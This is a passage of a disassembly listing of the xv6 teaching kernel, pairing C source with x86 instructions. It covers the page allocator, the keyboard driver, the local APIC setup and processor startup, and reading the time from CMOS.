8b 45 08 mov 0x8(%ebp),%eax 80102c34: 89 45 f4 mov %eax,-0xc(%ebp) r->next = kmem.freelist; 80102c37: 8b 15 38 3c 11 80 mov 0x80113c38,%edx 80102c3d: 8b 45 f4 mov -0xc(%ebp),%eax 80102c40: 89 10 mov %edx,(%eax) kmem.freelist = r; 80102c42: 8b 45 f4 mov -0xc(%ebp),%eax 80102c45: a3 38 3c 11 80 mov %eax,0x80113c38 if(kmem.use_lock) 80102c4a: a1 34 3c 11 80 mov 0x80113c34,%eax 80102c4f: 85 c0 test %eax,%eax 80102c51: 74 10 je 80102c63 <kfree+0x9a> release(&kmem.lock); 80102c53: 83 ec 0c sub $0xc,%esp 80102c56: 68 00 3c 11 80 push $0x80113c00 80102c5b: e8 3d 25 00 00 call 8010519d <release> 80102c60: 83 c4 10 add $0x10,%esp } 80102c63: 90 nop 80102c64: c9 leave 80102c65: c3 ret 80102c66 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 80102c66: 55 push %ebp 80102c67: 89 e5 mov %esp,%ebp 80102c69: 83 ec 18 sub $0x18,%esp struct run *r; if(kmem.use_lock) 80102c6c: a1 34 3c 11 80 mov 0x80113c34,%eax 80102c71: 85 c0 test %eax,%eax 80102c73: 74 10 je 80102c85 <kalloc+0x1f> acquire(&kmem.lock); 80102c75: 83 ec 0c sub $0xc,%esp 80102c78: 68 00 3c 11 80 push $0x80113c00 80102c7d: e8 b4 24 00 00 call 80105136 <acquire> 80102c82: 83 c4 10 add $0x10,%esp r = kmem.freelist; 80102c85: a1 38 3c 11 80 mov 0x80113c38,%eax 80102c8a: 89 45 f4 mov %eax,-0xc(%ebp) if(r) 80102c8d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80102c91: 74 0a je 80102c9d <kalloc+0x37> kmem.freelist = r->next; 80102c93: 8b 45 f4 mov -0xc(%ebp),%eax 80102c96: 8b 00 mov (%eax),%eax 80102c98: a3 38 3c 11 80 mov %eax,0x80113c38 if(kmem.use_lock) 80102c9d: a1 34 3c 11 80 mov 0x80113c34,%eax 80102ca2: 85 c0 test %eax,%eax 80102ca4: 74 10 je 80102cb6 <kalloc+0x50> release(&kmem.lock); 80102ca6: 83 ec 0c sub $0xc,%esp 80102ca9: 68 00 3c 11 80 push $0x80113c00 80102cae: e8 ea 24 00 00 call 8010519d <release> 80102cb3: 83 c4 10 add $0x10,%esp return (char*)r; 80102cb6: 8b 45 f4 mov -0xc(%ebp),%eax } 80102cb9: c9 leave 80102cba: c3 ret 80102cbb <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 80102cbb: 55 push %ebp 80102cbc: 89 e5 mov %esp,%ebp 80102cbe: 83 ec 14 sub $0x14,%esp 80102cc1: 8b 45 08 mov 0x8(%ebp),%eax 80102cc4: 66 89 45 ec mov %ax,-0x14(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102cc8: 0f b7 45 ec movzwl -0x14(%ebp),%eax 80102ccc: 89 c2 mov %eax,%edx 80102cce: ec in (%dx),%al 80102ccf: 88 45 ff mov %al,-0x1(%ebp) return data; 80102cd2: 0f b6 45 ff movzbl -0x1(%ebp),%eax } 80102cd6: c9 leave 80102cd7: c3 ret 80102cd8 <kbdgetc>: #include "defs.h" #include "kbd.h" int kbdgetc(void) { 80102cd8: 55 push %ebp 80102cd9: 89 e5 mov %esp,%ebp 80102cdb: 83 ec 10 sub $0x10,%esp static uchar *charcode[4] = { normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); 80102cde: 6a 64 push $0x64 80102ce0: e8 d6 ff ff ff call 80102cbb <inb> 80102ce5: 83 c4 04 add $0x4,%esp 80102ce8: 0f b6 c0 movzbl %al,%eax 80102ceb: 89 45 f4 mov %eax,-0xc(%ebp) if((st & KBS_DIB) == 0) 80102cee: 8b 45 f4 mov -0xc(%ebp),%eax 80102cf1: 83 e0 01 and $0x1,%eax 80102cf4: 85 c0 test %eax,%eax 80102cf6: 75 0a jne 80102d02 <kbdgetc+0x2a> return -1; 80102cf8: b8 ff ff ff ff mov $0xffffffff,%eax 80102cfd: e9 23 01 00 00 jmp 80102e25 <kbdgetc+0x14d> data = inb(KBDATAP); 80102d02: 6a 60 push $0x60 80102d04: e8 b2 ff ff ff call 80102cbb <inb> 80102d09: 83 c4 04 add $0x4,%esp 80102d0c: 0f b6 c0 movzbl %al,%eax 80102d0f: 89 45 fc mov %eax,-0x4(%ebp) if(data == 0xE0){ 80102d12: 81 7d fc e0 00 00 00 cmpl $0xe0,-0x4(%ebp) 80102d19: 75 17 jne 80102d32 <kbdgetc+0x5a> shift |= E0ESC; 80102d1b: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102d20: 83 c8 40 or $0x40,%eax 80102d23: a3 5c c6 10 80 mov %eax,0x8010c65c return 0; 80102d28: b8 00 00 00 00 mov $0x0,%eax 80102d2d: e9 f3 00 00 00 jmp 80102e25 <kbdgetc+0x14d> } else if(data & 0x80){ 80102d32: 8b 45 fc mov -0x4(%ebp),%eax 80102d35: 25 80 00 00 00 and $0x80,%eax 80102d3a: 85 c0 test %eax,%eax 80102d3c: 74 45 je 80102d83 <kbdgetc+0xab> // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102d3e: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102d43: 83 e0 40 and $0x40,%eax 80102d46: 85 c0 test %eax,%eax 80102d48: 75 08 jne 80102d52 <kbdgetc+0x7a> 80102d4a: 8b 45 fc mov -0x4(%ebp),%eax 80102d4d: 83 e0 7f and $0x7f,%eax 80102d50: eb 03 jmp 80102d55 <kbdgetc+0x7d> 80102d52: 8b 45 fc mov -0x4(%ebp),%eax 80102d55: 89 45 fc mov %eax,-0x4(%ebp) shift &= ~(shiftcode[data] | E0ESC); 80102d58: 8b 45 fc mov -0x4(%ebp),%eax 80102d5b: 05 20 a0 10 80 add $0x8010a020,%eax 80102d60: 0f b6 00 movzbl (%eax),%eax 80102d63: 83 c8 40 or $0x40,%eax 80102d66: 0f b6 c0 movzbl %al,%eax 80102d69: f7 d0 not %eax 80102d6b: 89 c2 mov %eax,%edx 80102d6d: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102d72: 21 d0 and %edx,%eax 80102d74: a3 5c c6 10 80 mov %eax,0x8010c65c return 0; 80102d79: b8 00 00 00 00 mov $0x0,%eax 80102d7e: e9 a2 00 00 00 jmp 80102e25 <kbdgetc+0x14d> } else if(shift & E0ESC){ 80102d83: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102d88: 83 e0 40 and $0x40,%eax 80102d8b: 85 c0 test %eax,%eax 80102d8d: 74 14 je 80102da3 <kbdgetc+0xcb> // Last character was an E0 escape; or with 0x80 data |= 0x80; 80102d8f: 81 4d fc 80 00 00 00 orl $0x80,-0x4(%ebp) shift &= ~E0ESC; 80102d96: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102d9b: 83 e0 bf and $0xffffffbf,%eax 80102d9e: a3 5c c6 10 80 mov %eax,0x8010c65c } shift |= shiftcode[data]; 80102da3: 8b 45 fc mov -0x4(%ebp),%eax 80102da6: 05 20 a0 10 80 add $0x8010a020,%eax 80102dab: 0f b6 00 movzbl (%eax),%eax 80102dae: 0f b6 d0 movzbl %al,%edx 80102db1: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102db6: 09 d0 or %edx,%eax 80102db8: a3 5c c6 10 80 mov %eax,0x8010c65c shift ^= togglecode[data]; 80102dbd: 8b 45 fc mov -0x4(%ebp),%eax 80102dc0: 05 20 a1 10 80 add $0x8010a120,%eax 80102dc5: 0f b6 00 movzbl (%eax),%eax 80102dc8: 0f b6 d0 movzbl %al,%edx 80102dcb: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102dd0: 31 d0 xor %edx,%eax 80102dd2: a3 5c c6 10 80 mov %eax,0x8010c65c c = charcode[shift & (CTL | SHIFT)][data]; 80102dd7: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102ddc: 83 e0 03 and $0x3,%eax 80102ddf: 8b 14 85 20 a5 10 80 mov -0x7fef5ae0(,%eax,4),%edx 80102de6: 8b 45 fc mov -0x4(%ebp),%eax 80102de9: 01 d0 add %edx,%eax 80102deb: 0f b6 00 movzbl (%eax),%eax 80102dee: 0f b6 c0 movzbl %al,%eax 80102df1: 89 45 f8 mov %eax,-0x8(%ebp) if(shift & CAPSLOCK){ 80102df4: a1 5c c6 10 80 mov 0x8010c65c,%eax 80102df9: 83 e0 08 and $0x8,%eax 80102dfc: 85 c0 test %eax,%eax 80102dfe: 74 22 je 80102e22 <kbdgetc+0x14a> if('a' <= c && c <= 'z') 80102e00: 83 7d f8 60 cmpl $0x60,-0x8(%ebp) 80102e04: 76 0c jbe 80102e12 <kbdgetc+0x13a> 80102e06: 83 7d f8 7a cmpl $0x7a,-0x8(%ebp) 80102e0a: 77 06 ja 80102e12 <kbdgetc+0x13a> c += 'A' - 'a'; 80102e0c: 83 6d f8 20 subl $0x20,-0x8(%ebp) 80102e10: eb 10 jmp 80102e22 <kbdgetc+0x14a> else if('A' <= c && c <= 'Z') 80102e12: 83 7d f8 40 cmpl $0x40,-0x8(%ebp) 80102e16: 76 0a jbe 80102e22 <kbdgetc+0x14a> 80102e18: 83 7d f8 5a cmpl $0x5a,-0x8(%ebp) 80102e1c: 77 04 ja 80102e22 <kbdgetc+0x14a> c += 'a' - 'A'; 80102e1e: 83 45 f8 20 addl $0x20,-0x8(%ebp) } return c; 80102e22: 8b 45 f8 mov -0x8(%ebp),%eax } 80102e25: c9 leave 80102e26: c3 ret 80102e27 <kbdintr>: void kbdintr(void) { 80102e27: 55 push %ebp 80102e28: 89 e5 mov %esp,%ebp 80102e2a: 83 ec 08 sub $0x8,%esp consoleintr(kbdgetc); 80102e2d: 83 ec 0c sub $0xc,%esp 80102e30: 68 d8 2c 10 80 push $0x80102cd8 80102e35: e8 bf d9 ff ff call 801007f9 <consoleintr> 80102e3a: 83 c4 10 add $0x10,%esp } 80102e3d: 90 nop 80102e3e: c9 leave 80102e3f: c3 ret 80102e40 <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 80102e40: 55 push %ebp 80102e41: 89 e5 mov %esp,%ebp 80102e43: 83 ec 14 sub $0x14,%esp 80102e46: 8b 45 08 mov 0x8(%ebp),%eax 80102e49: 66 89 45 ec mov %ax,-0x14(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102e4d: 0f b7 45 ec movzwl -0x14(%ebp),%eax 80102e51: 89 c2 mov %eax,%edx 80102e53: ec in (%dx),%al 80102e54: 88 45 ff mov %al,-0x1(%ebp) return data; 80102e57: 0f b6 45 ff movzbl -0x1(%ebp),%eax } 80102e5b: c9 leave 80102e5c: c3 ret 80102e5d <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 80102e5d: 55 push %ebp 80102e5e: 89 e5 mov %esp,%ebp 80102e60: 83 ec 08 sub $0x8,%esp 80102e63: 8b 55 08 mov 0x8(%ebp),%edx 80102e66: 8b 45 0c mov 0xc(%ebp),%eax 80102e69: 66 89 55 fc mov %dx,-0x4(%ebp) 80102e6d: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102e70: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80102e74: 0f b7 55 fc movzwl -0x4(%ebp),%edx 80102e78: ee out %al,(%dx) } 80102e79: 90 nop 80102e7a: c9 leave 80102e7b: c3 ret 80102e7c <readeflags>: asm volatile("ltr %0" : : "r" (sel)); } static inline uint readeflags(void) { 80102e7c: 55 push %ebp 80102e7d: 89 e5 mov %esp,%ebp 80102e7f: 83 ec 10 sub $0x10,%esp uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80102e82: 9c pushf 80102e83: 58 pop %eax 80102e84: 89 45 fc mov %eax,-0x4(%ebp) return eflags; 80102e87: 8b 45 fc mov -0x4(%ebp),%eax } 80102e8a: c9 leave 80102e8b: c3 ret 80102e8c <lapicw>: volatile uint *lapic; // Initialized in mp.c static void lapicw(int index, int value) { 80102e8c: 55 push %ebp 80102e8d: 89 e5 mov %esp,%ebp lapic[index] = value; 80102e8f: a1 3c 3c 11 80 mov 0x80113c3c,%eax 80102e94: 8b 55 08 mov 0x8(%ebp),%edx 80102e97: c1 e2 02 shl $0x2,%edx 80102e9a: 01 c2 add %eax,%edx 80102e9c: 8b 45 0c mov 0xc(%ebp),%eax 80102e9f: 89 02 mov %eax,(%edx) lapic[ID]; // wait for write to finish, by reading 80102ea1: a1 3c 3c 11 80 mov 0x80113c3c,%eax 80102ea6: 83 c0 20 add $0x20,%eax 80102ea9: 8b 00 mov (%eax),%eax } 80102eab: 90 nop 80102eac: 5d pop %ebp 80102ead: c3 ret 80102eae <lapicinit>: //PAGEBREAK! void lapicinit(void) { 80102eae: 55 push %ebp 80102eaf: 89 e5 mov %esp,%ebp if(!lapic) 80102eb1: a1 3c 3c 11 80 mov 0x80113c3c,%eax 80102eb6: 85 c0 test %eax,%eax 80102eb8: 0f 84 0b 01 00 00 je 80102fc9 <lapicinit+0x11b> return; // Enable local APIC; set spurious interrupt vector. lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS)); 80102ebe: 68 3f 01 00 00 push $0x13f 80102ec3: 6a 3c push $0x3c 80102ec5: e8 c2 ff ff ff call 80102e8c <lapicw> 80102eca: 83 c4 08 add $0x8,%esp // The timer repeatedly counts down at bus frequency // from lapic[TICR] and then issues an interrupt. // If xv6 cared more about precise timekeeping, // TICR would be calibrated using an external time source. lapicw(TDCR, X1); 80102ecd: 6a 0b push $0xb 80102ecf: 68 f8 00 00 00 push $0xf8 80102ed4: e8 b3 ff ff ff call 80102e8c <lapicw> 80102ed9: 83 c4 08 add $0x8,%esp lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER)); 80102edc: 68 20 00 02 00 push $0x20020 80102ee1: 68 c8 00 00 00 push $0xc8 80102ee6: e8 a1 ff ff ff call 80102e8c <lapicw> 80102eeb: 83 c4 08 add $0x8,%esp lapicw(TICR, 10000000); 80102eee: 68 80 96 98 00 push $0x989680 80102ef3: 68 e0 00 00 00 push $0xe0 80102ef8: e8 8f ff ff ff call 80102e8c <lapicw> 80102efd: 83 c4 08 add $0x8,%esp // Disable logical interrupt lines. lapicw(LINT0, MASKED); 80102f00: 68 00 00 01 00 push $0x10000 80102f05: 68 d4 00 00 00 push $0xd4 80102f0a: e8 7d ff ff ff call 80102e8c <lapicw> 80102f0f: 83 c4 08 add $0x8,%esp lapicw(LINT1, MASKED); 80102f12: 68 00 00 01 00 push $0x10000 80102f17: 68 d8 00 00 00 push $0xd8 80102f1c: e8 6b ff ff ff call 80102e8c <lapicw> 80102f21: 83 c4 08 add $0x8,%esp // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 80102f24: a1 3c 3c 11 80 mov 0x80113c3c,%eax 80102f29: 83 c0 30 add $0x30,%eax 80102f2c: 8b 00 mov (%eax),%eax 80102f2e: c1 e8 10 shr $0x10,%eax 80102f31: 0f b6 c0 movzbl %al,%eax 80102f34: 83 f8 03 cmp $0x3,%eax 80102f37: 76 12 jbe 80102f4b <lapicinit+0x9d> lapicw(PCINT, MASKED); 80102f39: 68 00 00 01 00 push $0x10000 80102f3e: 68 d0 00 00 00 push $0xd0 80102f43: e8 44 ff ff ff call 80102e8c <lapicw> 80102f48: 83 c4 08 add $0x8,%esp // Map error interrupt to IRQ_ERROR. lapicw(ERROR, T_IRQ0 + IRQ_ERROR); 80102f4b: 6a 33 push $0x33 80102f4d: 68 dc 00 00 00 push $0xdc 80102f52: e8 35 ff ff ff call 80102e8c <lapicw> 80102f57: 83 c4 08 add $0x8,%esp // Clear error status register (requires back-to-back writes). lapicw(ESR, 0); 80102f5a: 6a 00 push $0x0 80102f5c: 68 a0 00 00 00 push $0xa0 80102f61: e8 26 ff ff ff call 80102e8c <lapicw> 80102f66: 83 c4 08 add $0x8,%esp lapicw(ESR, 0); 80102f69: 6a 00 push $0x0 80102f6b: 68 a0 00 00 00 push $0xa0 80102f70: e8 17 ff ff ff call 80102e8c <lapicw> 80102f75: 83 c4 08 add $0x8,%esp // Ack any outstanding interrupts. lapicw(EOI, 0); 80102f78: 6a 00 push $0x0 80102f7a: 6a 2c push $0x2c 80102f7c: e8 0b ff ff ff call 80102e8c <lapicw> 80102f81: 83 c4 08 add $0x8,%esp // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); 80102f84: 6a 00 push $0x0 80102f86: 68 c4 00 00 00 push $0xc4 80102f8b: e8 fc fe ff ff call 80102e8c <lapicw> 80102f90: 83 c4 08 add $0x8,%esp lapicw(ICRLO, BCAST | INIT | LEVEL); 80102f93: 68 00 85 08 00 push $0x88500 80102f98: 68 c0 00 00 00 push $0xc0 80102f9d: e8 ea fe ff ff call 80102e8c <lapicw> 80102fa2: 83 c4 08 add $0x8,%esp while(lapic[ICRLO] & DELIVS) 80102fa5: 90 nop 80102fa6: a1 3c 3c 11 80 mov 0x80113c3c,%eax 80102fab: 05 00 03 00 00 add $0x300,%eax 80102fb0: 8b 00 mov (%eax),%eax 80102fb2: 25 00 10 00 00 and $0x1000,%eax 80102fb7: 85 c0 test %eax,%eax 80102fb9: 75 eb jne 80102fa6 <lapicinit+0xf8> ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); 80102fbb: 6a 00 push $0x0 80102fbd: 6a 20 push $0x20 80102fbf: e8 c8 fe ff ff call 80102e8c <lapicw> 80102fc4: 83 c4 08 add $0x8,%esp 80102fc7: eb 01 jmp 80102fca <lapicinit+0x11c> void lapicinit(void) { if(!lapic) return; 80102fc9: 90 nop while(lapic[ICRLO] & DELIVS) ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 80102fca: c9 leave 80102fcb: c3 ret 80102fcc <cpunum>: int cpunum(void) { 80102fcc: 55 push %ebp 80102fcd: 89 e5 mov %esp,%ebp 80102fcf: 83 ec 08 sub $0x8,%esp // Cannot call cpu when interrupts are enabled: // result not guaranteed to last long enough to be used! // Would prefer to panic but even printing is chancy here: // almost everything, including cprintf and panic, calls cpu, // often indirectly through acquire and release. if(readeflags()&FL_IF){ 80102fd2: e8 a5 fe ff ff call 80102e7c <readeflags> 80102fd7: 25 00 02 00 00 and $0x200,%eax 80102fdc: 85 c0 test %eax,%eax 80102fde: 74 26 je 80103006 <cpunum+0x3a> static int n; if(n++ == 0) 80102fe0: a1 60 c6 10 80 mov 0x8010c660,%eax 80102fe5: 8d 50 01 lea 0x1(%eax),%edx 80102fe8: 89 15 60 c6 10 80 mov %edx,0x8010c660 80102fee: 85 c0 test %eax,%eax 80102ff0: 75 14 jne 80103006 <cpunum+0x3a> cprintf("cpu called from %x with interrupts enabled\n", 80102ff2: 8b 45 04 mov 0x4(%ebp),%eax 80102ff5: 83 ec 08 sub $0x8,%esp 80102ff8: 50 push %eax 80102ff9: 68 68 8b 10 80 push $0x80108b68 80102ffe: e8 c3 d3 ff ff call 801003c6 <cprintf> 80103003: 83 c4 10 add $0x10,%esp __builtin_return_address(0)); } if(lapic) 80103006: a1 3c 3c 11 80 mov 0x80113c3c,%eax 8010300b: 85 c0 test %eax,%eax 8010300d: 74 0f je 8010301e <cpunum+0x52> return lapic[ID]>>24; 8010300f: a1 3c 3c 11 80 mov 0x80113c3c,%eax 80103014: 83 c0 20 add $0x20,%eax 80103017: 8b 00 mov (%eax),%eax 80103019: c1 e8 18 shr $0x18,%eax 8010301c: eb 05 jmp 80103023 <cpunum+0x57> return 0; 8010301e: b8 00 00 00 00 mov $0x0,%eax } 80103023: c9 leave 80103024: c3 ret 80103025 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { 80103025: 55 push %ebp 80103026: 89 e5 mov %esp,%ebp if(lapic) 80103028: a1 3c 3c 11 80 mov 0x80113c3c,%eax 8010302d: 85 c0 test %eax,%eax 8010302f: 74 0c je 8010303d <lapiceoi+0x18> lapicw(EOI, 0); 80103031: 6a 00 push $0x0 80103033: 6a 2c push $0x2c 80103035: e8 52 fe ff ff call 80102e8c <lapicw> 8010303a: 83 c4 08 add $0x8,%esp } 8010303d: 90 nop 8010303e: c9 leave 8010303f: c3 ret 80103040 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 80103040: 55 push %ebp 80103041: 89 e5 mov %esp,%ebp } 80103043: 90 nop 80103044: 5d pop %ebp 80103045: c3 ret 80103046 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 80103046: 55 push %ebp 80103047: 89 e5 mov %esp,%ebp 80103049: 83 ec 14 sub $0x14,%esp 8010304c: 8b 45 08 mov 0x8(%ebp),%eax 8010304f: 88 45 ec mov %al,-0x14(%ebp) ushort *wrv; // "The BSP must initialize CMOS shutdown code to 0AH // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code 80103052: 6a 0f push $0xf 80103054: 6a 70 push $0x70 80103056: e8 02 fe ff ff call 80102e5d <outb> 8010305b: 83 c4 08 add $0x8,%esp outb(CMOS_PORT+1, 0x0A); 8010305e: 6a 0a push $0xa 80103060: 6a 71 push $0x71 80103062: e8 f6 fd ff ff call 80102e5d <outb> 80103067: 83 c4 08 add $0x8,%esp wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector 8010306a: c7 45 f8 67 04 00 80 movl $0x80000467,-0x8(%ebp) wrv[0] = 0; 80103071: 8b 45 f8 mov -0x8(%ebp),%eax 80103074: 66 c7 00 00 00 movw $0x0,(%eax) wrv[1] = addr >> 4; 80103079: 8b 45 f8 mov -0x8(%ebp),%eax 8010307c: 83 c0 02 add $0x2,%eax 8010307f: 8b 55 0c mov 0xc(%ebp),%edx 80103082: c1 ea 04 shr $0x4,%edx 80103085: 66 89 10 mov %dx,(%eax) // "Universal startup algorithm." // Send INIT (level-triggered) interrupt to reset other CPU. lapicw(ICRHI, apicid<<24); 80103088: 0f b6 45 ec movzbl -0x14(%ebp),%eax 8010308c: c1 e0 18 shl $0x18,%eax 8010308f: 50 push %eax 80103090: 68 c4 00 00 00 push $0xc4 80103095: e8 f2 fd ff ff call 80102e8c <lapicw> 8010309a: 83 c4 08 add $0x8,%esp lapicw(ICRLO, INIT | LEVEL | ASSERT); 8010309d: 68 00 c5 00 00 push $0xc500 801030a2: 68 c0 00 00 00 push $0xc0 801030a7: e8 e0 fd ff ff call 80102e8c <lapicw> 801030ac: 83 c4 08 add $0x8,%esp microdelay(200); 801030af: 68 c8 00 00 00 push $0xc8 801030b4: e8 87 ff ff ff call 80103040 <microdelay> 801030b9: 83 c4 04 add $0x4,%esp lapicw(ICRLO, INIT | LEVEL); 801030bc: 68 00 85 00 00 push $0x8500 801030c1: 68 c0 00 00 00 push $0xc0 801030c6: e8 c1 fd ff ff call 80102e8c <lapicw> 801030cb: 83 c4 08 add $0x8,%esp microdelay(100); // should be 10ms, but too slow in Bochs! 801030ce: 6a 64 push $0x64 801030d0: e8 6b ff ff ff call 80103040 <microdelay> 801030d5: 83 c4 04 add $0x4,%esp // Send startup IPI (twice!) to enter code. // Regular hardware is supposed to only accept a STARTUP // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ 801030d8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 801030df: eb 3d jmp 8010311e <lapicstartap+0xd8> lapicw(ICRHI, apicid<<24); 801030e1: 0f b6 45 ec movzbl -0x14(%ebp),%eax 801030e5: c1 e0 18 shl $0x18,%eax 801030e8: 50 push %eax 801030e9: 68 c4 00 00 00 push $0xc4 801030ee: e8 99 fd ff ff call 80102e8c <lapicw> 801030f3: 83 c4 08 add $0x8,%esp lapicw(ICRLO, STARTUP | (addr>>12)); 801030f6: 8b 45 0c mov 0xc(%ebp),%eax 801030f9: c1 e8 0c shr $0xc,%eax 801030fc: 80 cc 06 or $0x6,%ah 801030ff: 50 push %eax 80103100: 68 c0 00 00 00 push $0xc0 80103105: e8 82 fd ff ff call 80102e8c <lapicw> 8010310a: 83 c4 08 add $0x8,%esp microdelay(200); 8010310d: 68 c8 00 00 00 push $0xc8 80103112: e8 29 ff ff ff call 80103040 <microdelay> 80103117: 83 c4 04 add $0x4,%esp // Send startup IPI (twice!) to enter code. // Regular hardware is supposed to only accept a STARTUP // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ 8010311a: 83 45 fc 01 addl $0x1,-0x4(%ebp) 8010311e: 83 7d fc 01 cmpl $0x1,-0x4(%ebp) 80103122: 7e bd jle 801030e1 <lapicstartap+0x9b> lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); microdelay(200); } } 80103124: 90 nop 80103125: c9 leave 80103126: c3 ret 80103127 <cmos_read>: #define DAY 0x07 #define MONTH 0x08 #define YEAR 0x09 static uint cmos_read(uint reg) { 80103127: 55 push %ebp 80103128: 89 e5 mov %esp,%ebp outb(CMOS_PORT, reg); 8010312a: 8b 45 08 mov 0x8(%ebp),%eax 8010312d: 0f b6 c0 movzbl %al,%eax 80103130: 50 push %eax 80103131: 6a 70 push $0x70 80103133: e8 25 fd ff ff call 80102e5d <outb> 80103138: 83 c4 08 add $0x8,%esp microdelay(200); 8010313b: 68 c8 00 00 00 push $0xc8 80103140: e8 fb fe ff ff call 80103040 <microdelay> 80103145: 83 c4 04 add $0x4,%esp return inb(CMOS_RETURN); 80103148: 6a 71 push $0x71 8010314a: e8 f1 fc ff ff call 80102e40 <inb> 8010314f: 83 c4 04 add $0x4,%esp 80103152: 0f b6 c0 movzbl %al,%eax } 80103155: c9 leave 80103156: c3 ret 80103157 <fill_rtcdate>: static void fill_rtcdate(struct rtcdate *r) { 80103157: 55 push %ebp 80103158: 89 e5 mov %esp,%ebp r->second = cmos_read(SECS); 8010315a: 6a 00 push $0x0 8010315c: e8 c6 ff ff ff call 80103127 <cmos_read> 80103161: 83 c4 04 add $0x4,%esp 80103164: 89 c2 mov %eax,%edx 80103166: 8b 45 08 mov 0x8(%ebp),%eax 80103169: 89 10 mov %edx,(%eax) r->minute = cmos_read(MINS); 8010316b: 6a 02 push $0x2 8010316d: e8 b5 ff ff ff call 80103127 <cmos_read> 80103172: 83 c4 04 add $0x4,%esp 80103175: 89 c2 mov %eax,%edx 80103177: 8b 45 08 mov 0x8(%ebp),%eax 8010317a: 89 50 04 mov %edx,0x4(%eax) r->hour = cmos_read(HOURS); 8010317d: 6a 04 push $0x4 8010317f: e8 a3 ff ff ff call 80103127 <cmos_read> 80103184: 83 c4 04 add $0x4,%esp 80103187: 89 c2 mov %eax,%edx 80103189: 8b 45 08 mov 0x8(%ebp),%eax 8010318c: 89 50 08 mov %edx,0x8(%eax) r->day = cmos_read(DAY); 8010318f: 6a 07 push $0x7 80103191: e8 91 ff ff ff call 80103127 <cmos_read> 80103196: 83 c4 04 add $0x4,%esp 80103199: 89 c2 mov %eax,%edx 8010319b: 8b 45 08 mov 0x8(%ebp),%eax 8010319e: 89 50 0c mov %edx,0xc(%eax) r->month = cmos_read(MONTH); 801031a1: 6a 08 push $0x8 801031a3: e8 7f ff ff ff call 80103127 <cmos_read> 801031a8: 83 c4 04 add $0x4,%esp 801031ab: 89 c2 mov %eax,%edx 801031ad: 8b 45 08 mov 0x8(%ebp),%eax 801031b0: 89 50 10 mov %edx,0x10(%eax) r->year = cmos_read(YEAR); 801031b3: 6a 09 push $0x9 801031b5: e8 6d ff ff ff call 80103127 <cmos_read> 801031ba: 83 c4 04 add $0x4,%esp 801031bd: 89 c2 mov %eax,%edx 801031bf: 8b 45 08 mov 0x8(%ebp),%eax 801031c2: 89 50 14 mov %edx,0x14(%eax) } 801031c5: 90 nop 801031c6: c9 leave 801031c7: c3 ret 801031c8 <cmostime>: // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 801031c8: 55 push %ebp 801031c9: 89 e5 mov %esp,%ebp 801031cb: 83 ec 48 sub $0x48,%esp struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); 801031ce: 6a 0b push $0xb 801031d0: e8 52 ff ff ff call 80103127 <cmos_read> 801031d5: 83 c4 04 add $0x4,%esp 801031d8: 89 45 f4 mov %eax,-0xc(%ebp) bcd = (sb & (1 << 2)) == 0; 801031db: 8b 45 f4 mov -0xc(%ebp),%eax 801031de: 83 e0 04 and $0x4,%eax 801031e1: 85 c0 test %eax,%eax 801031e3: 0f 94 c0 sete %al 801031e6: 0f b6 c0 movzbl %al,%eax 801031e9: 89 45 f0 mov %eax,-0x10(%ebp) // make sure CMOS doesn't modify time while we read it for (;;) { fill_rtcdate(&t1); 801031ec: 8d 45 d8 lea -0x28(%ebp),%eax 801031ef: 50 push %eax 801031f0: e8 62 ff ff ff call 80103157 <fill_rtcdate> 801031f5: 83 c4 04 add $0x4,%esp if (cmos_read(CMOS_STATA) & CMOS_UIP) 801031f8: 6a 0a push $0xa 801031fa: e8 28 ff ff ff call 80103127 <cmos_read> 801031ff: 83 c4 04 add $0x4,%esp 80103202: 25 80 00 00 00 and $0x80,%eax 80103207: 85 c0 test %eax,%eax 80103209: 75 27 jne 80103232 <cmostime+0x6a> continue; 